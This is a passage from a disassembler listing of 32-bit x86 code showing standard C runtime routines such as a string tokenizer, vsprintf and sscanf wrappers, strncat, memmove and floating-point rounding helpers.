; ---------------------------------------------------------------------------
loc_41C5D9: ; CODE XREF: sub_41C550+7Fj
mov edx, [ebp+var_8]
mov eax, [edx+18h]
mov [ebp+var_4], eax
loc_41C5E2: ; CODE XREF: sub_41C550+87j
; sub_41C550+CFj
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
sar edx, 3
xor eax, eax
mov al, [ebp+edx+var_2C]
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
mov ecx, edx
and ecx, 7
mov edx, 1
shl edx, cl
and eax, edx
test eax, eax
jz short loc_41C621
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_41C621
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
jmp short loc_41C5E2
; ---------------------------------------------------------------------------
loc_41C621: ; CODE XREF: sub_41C550+B9j
; sub_41C550+C4j
mov eax, [ebp+var_4]
mov [ebp+arg_0], eax
jmp short loc_41C632
; ---------------------------------------------------------------------------
loc_41C629: ; CODE XREF: sub_41C550:loc_41C677j
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_41C632: ; CODE XREF: sub_41C550+D7j
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
test eax, eax
jz short loc_41C679
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
sar edx, 3
xor eax, eax
mov al, [ebp+edx+var_2C]
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
mov ecx, edx
and ecx, 7
mov edx, 1
shl edx, cl
and eax, edx
test eax, eax
jz short loc_41C677
mov eax, [ebp+var_4]
mov byte ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_41C679
; ---------------------------------------------------------------------------
loc_41C677: ; CODE XREF: sub_41C550+114j
jmp short loc_41C629
; ---------------------------------------------------------------------------
loc_41C679: ; CODE XREF: sub_41C550+EBj
; sub_41C550+125j
mov edx, [ebp+var_8]
mov eax, [ebp+var_4]
mov [edx+18h], eax
mov ecx, [ebp+arg_0]
cmp ecx, [ebp+var_4]
jnz short loc_41C68E
xor eax, eax
jmp short loc_41C691
; ---------------------------------------------------------------------------
loc_41C68E: ; CODE XREF: sub_41C550+138j
mov eax, [ebp+arg_0]
loc_41C691: ; CODE XREF: sub_41C550+13Cj
mov esp, ebp
pop ebp
retn
sub_41C550 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C6A0 proc near ; CODE XREF: sub_408E73+1Cp
; sub_4145FE+19p ...
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
lea eax, [ebp+var_20]
mov [ebp+var_24], eax
loc_41C6AF: ; CODE XREF: sub_41C6A0+37j
cmp [ebp+arg_0], 0
jnz short loc_41C6D3
push offset aStringNull ; "string != NULL"
push 0
push 5Ah
push offset aVsprintf_c ; "vsprintf.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_41C6D3
int 3 ; Trap to Debugger
loc_41C6D3: ; CODE XREF: sub_41C6A0+13j
; sub_41C6A0+30j
xor ecx, ecx
test ecx, ecx
jnz short loc_41C6AF
loc_41C6D9: ; CODE XREF: sub_41C6A0+61j
cmp [ebp+arg_8], 0
jnz short loc_41C6FD
push offset aFormatNull ; "format != NULL"
push 0
push 5Bh
push offset aVsprintf_c ; "vsprintf.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_41C6FD
int 3 ; Trap to Debugger
loc_41C6FD: ; CODE XREF: sub_41C6A0+3Dj
; sub_41C6A0+5Aj
xor edx, edx
test edx, edx
jnz short loc_41C6D9
mov eax, [ebp+var_24]
mov dword ptr [eax+0Ch], 42h
mov ecx, [ebp+var_24]
mov edx, [ebp+arg_0]
mov [ecx+8], edx
mov eax, [ebp+var_24]
mov ecx, [ebp+arg_0]
mov [eax], ecx
mov edx, [ebp+var_24]
mov eax, [ebp+arg_4]
mov [edx+4], eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+var_24]
push eax
call sub_422D70
add esp, 0Ch
mov [ebp+var_28], eax
mov ecx, [ebp+var_24]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+var_24]
mov [eax+4], edx
mov ecx, [ebp+var_24]
cmp dword ptr [ecx+4], 0
jl short loc_41C778
mov edx, [ebp+var_24]
mov eax, [edx]
mov byte ptr [eax], 0
xor ecx, ecx
and ecx, 0FFh
mov [ebp+var_2C], ecx
mov edx, [ebp+var_24]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_24]
mov [ecx], eax
jmp short loc_41C789
; ---------------------------------------------------------------------------
loc_41C778: ; CODE XREF: sub_41C6A0+B4j
mov edx, [ebp+var_24]
push edx
push 0
call sub_422AF0
add esp, 8
mov [ebp+var_2C], eax
loc_41C789: ; CODE XREF: sub_41C6A0+D6j
mov eax, [ebp+var_28]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41C6A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C7A0 proc near ; CODE XREF: sub_40A44E+8Dp
; sub_40AD51+60p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_41C854
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_41C7CA
loc_41C7BB: ; CODE XREF: sub_41C7A0+28j
mov al, [edi]
inc edi
test al, al
jz short loc_41C7FB
test edi, 3
jnz short loc_41C7BB
loc_41C7CA: ; CODE XREF: sub_41C7A0+19j
; sub_41C7A0+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_41C7CA
mov eax, [edi-4]
test al, al
jz short loc_41C808
test ah, ah
jz short loc_41C803
test eax, 0FF0000h
jz short loc_41C7FE
test eax, 0FF000000h
jnz short loc_41C7CA
loc_41C7FB: ; CODE XREF: sub_41C7A0+20j
dec edi
jmp short loc_41C80B
; ---------------------------------------------------------------------------
loc_41C7FE: ; CODE XREF: sub_41C7A0+52j
sub edi, 2
jmp short loc_41C80B
; ---------------------------------------------------------------------------
loc_41C803: ; CODE XREF: sub_41C7A0+4Bj
sub edi, 3
jmp short loc_41C80B
; ---------------------------------------------------------------------------
loc_41C808: ; CODE XREF: sub_41C7A0+47j
sub edi, 4
loc_41C80B: ; CODE XREF: sub_41C7A0+5Cj
; sub_41C7A0+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_41C820
mov ebx, ecx
shr ecx, 2
jnz short loc_41C86C
jmp short loc_41C83C
; ---------------------------------------------------------------------------
loc_41C820: ; CODE XREF: sub_41C7A0+75j
; sub_41C7A0+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_41C85A
mov [edi], dl
inc edi
dec ecx
jz short loc_41C850
test esi, 3
jnz short loc_41C820
mov ebx, ecx
shr ecx, 2
jnz short loc_41C86C
loc_41C83C: ; CODE XREF: sub_41C7A0+7Ej
; sub_41C7A0+CAj
mov ecx, ebx
and ecx, 3
jz short loc_41C850
loc_41C843: ; CODE XREF: sub_41C7A0+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_41C852
dec ecx
jnz short loc_41C843
loc_41C850: ; CODE XREF: sub_41C7A0+8Bj
; sub_41C7A0+A1j
mov [edi], cl
loc_41C852: ; CODE XREF: sub_41C7A0+ABj
pop ebx
pop esi
loc_41C854: ; CODE XREF: sub_41C7A0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C85A: ; CODE XREF: sub_41C7A0+85j
; sub_41C7A0+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C864: ; CODE XREF: sub_41C7A0+E4j
; sub_41C7A0+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41C83C
loc_41C86C: ; CODE XREF: sub_41C7A0+7Cj
; sub_41C7A0+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41C864
test dl, dl
jz short loc_41C85A
test dh, dh
jz short loc_41C8B8
test edx, 0FF0000h
jz short loc_41C8A8
test edx, 0FF000000h
jnz short loc_41C864
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C8A8: ; CODE XREF: sub_41C7A0+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C8B8: ; CODE XREF: sub_41C7A0+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41C7A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C8D0 proc far ; CODE XREF: sub_40A57F+62p
; sub_40A57F+6Fp ...
arg_FFFFFFFC = dword ptr 8
arg_0 = dword ptr 0Ch
arg_4 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_0]
mov ecx, [ebp+arg_4]
mov edi, [ebp+arg_FFFFFFFC]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41C8F0
cmp edi, eax
jb loc_41CA68
loc_41C8F0: ; CODE XREF: sub_41C8D0+16j
test edi, 3
jnz short loc_41C90C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41C92C
rep movsd
jmp off_41CA18[edx*4]
; ---------------------------------------------------------------------------
loc_41C90C: ; CODE XREF: sub_41C8D0+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41C924
and eax, 3
add ecx, eax
jmp dword ptr loc_41C92C+4[eax*4]
; ---------------------------------------------------------------------------
loc_41C924: ; CODE XREF: sub_41C8D0+46j
jmp dword ptr loc_41CA28[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41C92C: ; CODE XREF: sub_41C8D0+31j
; sub_41C8D0+8Ej ...
jmp off_41C9AC[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41C940
dd offset loc_41C96C
dd offset loc_41C990
; ---------------------------------------------------------------------------
loc_41C940: ; DATA XREF: sub_41C8D0+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41C92C
rep movsd
jmp off_41CA18[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41C96C: ; DATA XREF: sub_41C8D0+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41C92C
rep movsd
jmp off_41CA18[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41C990: ; DATA XREF: sub_41C8D0+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41C92C
rep movsd
jmp off_41CA18[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41C9AC dd offset loc_41CA0F ; DATA XREF: sub_41C8D0:loc_41C92Cr
dd offset loc_41C9FC
dd offset loc_41C9F4
dd offset loc_41C9EC
dd offset loc_41C9E4
dd offset loc_41C9DC
dd offset loc_41C9D4
dd offset loc_41C9CC
; ---------------------------------------------------------------------------
loc_41C9CC: ; CODE XREF: sub_41C8D0:loc_41C92Cj
; DATA XREF: sub_41C8D0+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41C9D4: ; CODE XREF: sub_41C8D0:loc_41C92Cj
; DATA XREF: sub_41C8D0+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41C9DC: ; CODE XREF: sub_41C8D0:loc_41C92Cj
; DATA XREF: sub_41C8D0+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41C9E4: ; CODE XREF: sub_41C8D0:loc_41C92Cj
; DATA XREF: sub_41C8D0+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41C9EC: ; CODE XREF: sub_41C8D0:loc_41C92Cj
; DATA XREF: sub_41C8D0+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41C9F4: ; CODE XREF: sub_41C8D0:loc_41C92Cj
; DATA XREF: sub_41C8D0+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41C9FC: ; CODE XREF: sub_41C8D0:loc_41C92Cj
; DATA XREF: sub_41C8D0+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CA0F: ; CODE XREF: sub_41C8D0:loc_41C92Cj
; DATA XREF: sub_41C8D0:off_41C9ACo
jmp off_41CA18[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CA18 dd offset loc_41CA28 ; DATA XREF: sub_41C8D0+35r
; sub_41C8D0+92r ...
dd offset loc_41CA30
dd offset loc_41CA3C
dd offset loc_41CA50
; ---------------------------------------------------------------------------
loc_41CA28: ; CODE XREF: sub_41C8D0+35j
; sub_41C8D0+92j ...
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CA30: ; CODE XREF: sub_41C8D0+35j
; sub_41C8D0+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CA3C: ; CODE XREF: sub_41C8D0+35j
; sub_41C8D0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CA50: ; CODE XREF: sub_41C8D0+35j
; sub_41C8D0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CA68: ; CODE XREF: sub_41C8D0+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41CA9C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CA90
std
rep movsd
cld
jmp off_41CBB0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CA90: ; CODE XREF: sub_41C8D0+1B1j
; sub_41C8D0+208j ...
neg ecx
jmp off_41CB60[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CA9C: ; CODE XREF: sub_41C8D0+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41CAB4
and eax, 3
sub ecx, eax
jmp dword ptr loc_41CAB4+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CAB4: ; CODE XREF: sub_41C8D0+1D6j
; DATA XREF: sub_41C8D0+1DDr
jmp off_41CBB0[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CAC7+1
dd offset loc_41CAE8
; ---------------------------------------------------------------------------
adc bl, cl
inc ecx
loc_41CAC7: ; DATA XREF: sub_41C8D0+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41CA90
std
rep movsd
cld
jmp off_41CBB0[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CAE8: ; DATA XREF: sub_41C8D0+1F0o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41CA90
std
rep movsd
cld
jmp off_41CBB0[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41CA90
std
rep movsd
cld
jmp off_41CBB0[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CB64
dd offset loc_41CB6C
dd offset loc_41CB74
dd offset loc_41CB7C
dd offset loc_41CB84
dd offset loc_41CB8C
; ---------------------------------------------------------------------------
xchg eax, esp
retf
; ---------------------------------------------------------------------------
dw 41h
off_41CB60 dd offset loc_41CBA7 ; DATA XREF: sub_41C8D0+1C2r
; ---------------------------------------------------------------------------
loc_41CB64: ; DATA XREF: sub_41C8D0+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41CB6C: ; DATA XREF: sub_41C8D0+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41CB74: ; DATA XREF: sub_41C8D0+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41CB7C: ; DATA XREF: sub_41C8D0+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41CB84: ; DATA XREF: sub_41C8D0+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41CB8C: ; DATA XREF: sub_41C8D0+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CBA7: ; CODE XREF: sub_41C8D0+1C2j
; DATA XREF: sub_41C8D0:off_41CB60o
jmp off_41CBB0[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41CBB0 dd offset loc_41CBC0 ; DATA XREF: sub_41C8D0+1B7r
; sub_41C8D0:loc_41CAB4r ...
dd offset loc_41CBC8
dd offset loc_41CBD8
dd offset loc_41CBEC
; ---------------------------------------------------------------------------
loc_41CBC0: ; CODE XREF: sub_41C8D0+1B7j
; sub_41C8D0:loc_41CAB4j ...
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CBC8: ; CODE XREF: sub_41C8D0+1B7j
; sub_41C8D0:loc_41CAB4j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CBD8: ; CODE XREF: sub_41C8D0+1B7j
; sub_41C8D0:loc_41CAB4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CBEC: ; CODE XREF: sub_41C8D0+1B7j
; sub_41C8D0:loc_41CAB4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
sub_41C8D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CC10 proc near ; CODE XREF: sub_40B6EA+40p
; .nsp0:0040DD9Cp ...
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
lea eax, [ebp+var_20]
mov [ebp+var_24], eax
lea ecx, [ebp+arg_8]
mov [ebp+var_2C], ecx
loc_41CC25: ; CODE XREF: sub_41CC10+3Dj
cmp [ebp+arg_0], 0
jnz short loc_41CC49
push offset aStringNull ; "string != NULL"
push 0
push 42h
push offset aSscanf_c ; "sscanf.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_41CC49
int 3 ; Trap to Debugger
loc_41CC49: ; CODE XREF: sub_41CC10+19j
; sub_41CC10+36j
xor edx, edx
test edx, edx
jnz short loc_41CC25
loc_41CC4F: ; CODE XREF: sub_41CC10+67j
cmp [ebp+arg_4], 0
jnz short loc_41CC73
push offset aFormatNull ; "format != NULL"
push 0
push 43h
push offset aSscanf_c ; "sscanf.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_41CC73
int 3 ; Trap to Debugger
loc_41CC73: ; CODE XREF: sub_41CC10+43j
; sub_41CC10+60j
xor eax, eax
test eax, eax
jnz short loc_41CC4F
mov ecx, [ebp+var_24]
mov dword ptr [ecx+0Ch], 49h
mov edx, [ebp+var_24]
mov eax, [ebp+arg_0]
mov [edx+8], eax
mov ecx, [ebp+var_24]
mov edx, [ebp+arg_0]
mov [ecx], edx
mov eax, [ebp+arg_0]
push eax
call sub_418D00
add esp, 4
mov ecx, [ebp+var_24]
mov [ecx+4], eax
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_24]
push ecx
call sub_424CA0
add esp, 0Ch
mov [ebp+var_28], eax
mov eax, [ebp+var_28]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41CC10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41CCD0(double)
sub_41CCD0 proc near ; CODE XREF: sub_40C926+38p
var_1C = qword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push 0FFFFh
mov eax, dword_4510F0
push eax
call sub_427100
add esp, 8
mov [ebp+var_C], eax
mov ecx, dword ptr [ebp+arg_0+6]
and ecx, 0FFFFh
and ecx, 7FF0h
cmp ecx, 7FF0h
jnz loc_41CD8B
mov edx, dword ptr [ebp+arg_0+4]
push edx
mov eax, dword ptr [ebp+arg_0]
push eax
call sub_426F00
add esp, 8
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jle short loc_41CD62
cmp [ebp+var_10], 2
jle short loc_41CD2E
cmp [ebp+var_10], 3
jz short loc_41CD47
jmp short loc_41CD62
; ---------------------------------------------------------------------------
loc_41CD2E: ; CODE XREF: sub_41CCD0+54j
push 0FFFFh
mov ecx, [ebp+var_C]
push ecx
call sub_427100
add esp, 8
fld [ebp+arg_0]
jmp loc_41CE01
; ---------------------------------------------------------------------------
loc_41CD47: ; CODE XREF: sub_41CCD0+5Aj
mov edx, [ebp+var_C]
push edx ; int
mov eax, dword ptr [ebp+arg_0+4]
push eax
mov ecx, dword ptr [ebp+arg_0]
push ecx ; double
push 0Bh ; int
call sub_4261C0
add esp, 10h
jmp loc_41CE01
; ---------------------------------------------------------------------------
loc_41CD62: ; CODE XREF: sub_41CCD0+4Ej
; sub_41CCD0+5Cj
mov edx, [ebp+var_C]
push edx ; int
fld [ebp+arg_0]
fadd dbl_437CF8
sub esp, 8
fstp [esp+1Ch+var_1C]
mov eax, dword ptr [ebp+arg_0+4]
push eax ; int
mov ecx, dword ptr [ebp+arg_0]
push ecx ; int
push 0Bh ; int
push 8 ; int
call sub_426290
add esp, 1Ch
jmp short loc_41CE01
; ---------------------------------------------------------------------------
loc_41CD8B: ; CODE XREF: sub_41CCD0+31j
mov edx, dword ptr [ebp+arg_0+4]
push edx
mov eax, dword ptr [ebp+arg_0]
push eax ; double
call sub_4261A0
add esp, 8
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
fnstsw ax
test ah, 40h
jz short loc_41CDC1
push 0FFFFh
mov ecx, [ebp+var_C]
push ecx
call sub_427100
add esp, 8
fld [ebp+var_8]
jmp short loc_41CE01
; ---------------------------------------------------------------------------
loc_41CDC1: ; CODE XREF: sub_41CCD0+D9j
mov edx, [ebp+var_C]
and edx, 20h
test edx, edx
jz short loc_41CDE1
push 0FFFFh
mov eax, [ebp+var_C]
push eax
call sub_427100
add esp, 8
fld [ebp+var_8]
jmp short loc_41CE01
; ---------------------------------------------------------------------------
loc_41CDE1: ; CODE XREF: sub_41CCD0+F9j
mov ecx, [ebp+var_C]
push ecx ; int
mov edx, dword ptr [ebp+var_8+4]
push edx
mov eax, dword ptr [ebp+var_8]
push eax ; double
mov ecx, dword ptr [ebp+arg_0+4]
push ecx ; int
mov edx, dword ptr [ebp+arg_0]
push edx ; int
push 0Bh ; int
push 10h ; int
call sub_426290
add esp, 1Ch
loc_41CE01: ; CODE XREF: sub_41CCD0+72j
; sub_41CCD0+8Dj ...
mov esp, ebp
pop ebp
retn
sub_41CCD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CE10 proc near ; CODE XREF: sub_41B540+Cp
; DATA XREF: .nsp0:off_4510FCo
push ebp
mov ebp, esp
push ebx
push esi
push edi
call sub_41CE50
call sub_427240
mov dword_4EF8C4, eax
call sub_4271C0
fnclex
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41CE10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CE40 proc near ; DATA XREF: .nsp0:00451100o
; .nsp0:00451104o
push ebp
mov ebp, esp
pop ebp
retn
sub_41CE40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CE50 proc near ; CODE XREF: sub_41CE10+6p
push ebp
mov ebp, esp
mov off_451A48, offset sub_427930
mov off_451A4C, offset sub_427340
mov off_451A50, offset sub_427450
mov off_451A54, offset sub_427290
mov off_451A58, offset sub_427420
mov off_451A5C, offset sub_427930
pop ebp
retn
sub_41CE50 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, dword_4EF8C0
mov [ebp-4], eax
mov ecx, [ebp+8]
mov dword_4EF8C0, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CEBC proc near ; CODE XREF: sub_40C926+1Bp
; sub_40C926+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_41CEBC endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41CEF0(double)
sub_41CEF0 proc near ; CODE XREF: sub_40C972+79p
; sub_40D46C+3A4p
var_1C = qword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push 0FFFFh
mov eax, dword_451108
push eax
call sub_427100
add esp, 8
mov [ebp+var_C], eax
mov ecx, dword ptr [ebp+arg_0+6]
and ecx, 0FFFFh
and ecx, 7FF0h
cmp ecx, 7FF0h
jnz loc_41CFAB
mov edx, dword ptr [ebp+arg_0+4]
push edx
mov eax, dword ptr [ebp+arg_0]
push eax
call sub_426F00
add esp, 8
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jle short loc_41CF82
cmp [ebp+var_10], 2
jle short loc_41CF4E
cmp [ebp+var_10], 3
jz short loc_41CF67
jmp short loc_41CF82
; ---------------------------------------------------------------------------
loc_41CF4E: ; CODE XREF: sub_41CEF0+54j
push 0FFFFh
mov ecx, [ebp+var_C]
push ecx
call sub_427100
add esp, 8
fld [ebp+arg_0]
jmp loc_41D021
; ---------------------------------------------------------------------------
loc_41CF67: ; CODE XREF: sub_41CEF0+5Aj
mov edx, [ebp+var_C]
push edx ; int
mov eax, dword ptr [ebp+arg_0+4]
push eax
mov ecx, dword ptr [ebp+arg_0]
push ecx ; double
push 0Ch ; int
call sub_4261C0
add esp, 10h
jmp loc_41D021
; ---------------------------------------------------------------------------
loc_41CF82: ; CODE XREF: sub_41CEF0+4Ej
; sub_41CEF0+5Cj
mov edx, [ebp+var_C]
push edx ; int
fld [ebp+arg_0]
fadd dbl_437CF8
sub esp, 8
fstp [esp+1Ch+var_1C]
mov eax, dword ptr [ebp+arg_0+4]
push eax ; int
mov ecx, dword ptr [ebp+arg_0]
push ecx ; int
push 0Ch ; int
push 8 ; int
call sub_426290
add esp, 1Ch
jmp short loc_41D021
; ---------------------------------------------------------------------------
loc_41CFAB: ; CODE XREF: sub_41CEF0+31j
mov edx, dword ptr [ebp+arg_0+4]
push edx
mov eax, dword ptr [ebp+arg_0]
push eax ; double
call sub_4261A0
add esp, 8
fstp [ebp+var_8]
